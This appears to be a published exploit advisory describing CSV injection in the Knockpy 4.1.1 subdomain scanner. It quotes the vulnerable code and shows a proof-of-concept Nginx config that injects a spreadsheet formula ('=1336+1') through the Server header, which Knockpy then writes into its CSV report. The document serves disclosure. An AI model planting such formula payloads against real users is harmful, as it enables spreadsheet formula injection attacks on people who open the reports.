Knockpy 4.1.1 CSV Injection

`# Exploit Title: Knockpy 4.1.1 - CSV Injection  
# Author: Dolev Farhi  
# Date: 2020-12-29  
# Vendor Homepage: https://github.com/guelfoweb/knock  
# Version : 4.1.1  
# Tested on: Debian 9.13  
  
Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.  
The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.  
  
Vulnerable code segment(s)  
  
# knockpy.py  
  
# row = ip+'\t'+str(data['status'])+'\t'+'host'+'\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)  
# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))  
  
# modules/save_report.py  
  
# if fields:  
# csv_report += 'ip,status,type,domain_name,server\n'  
# for item in report:  
# csv_report += item + '\n'  
# report = csv_report  
  
  
1. Example malicious Nginx config to return CSV formula headers:  
  
http {  
...   
server_tokens off;  
more_set_headers 'Server: =1336+1';  
...  
}  
  
2. Tester runs Knoockpy  
root@host:~/# python knockpy/knockpy.py -c test.local  
  
+ checking for virustotal subdomains: SKIP  
VirusTotal API_KEY not found  
+ checking for wildcard: NO  
+ checking for zonetransfer: NO  
+ resolving target: YES  
- scanning for subdomain...  
  
Ip Address Status Type Domain Name Server  
---------- ------ ---- ----------- ------  
127.0.0.1 200 host appserver.test.local =1336+1  
  
  
CSV result  
  
root@host:~/# cat test_local.csv  
127.0.0.1,200,host,appserver.test.local,=1336+1  
127.0.0.1,200,host,www.test.local,=1336+1  
  
`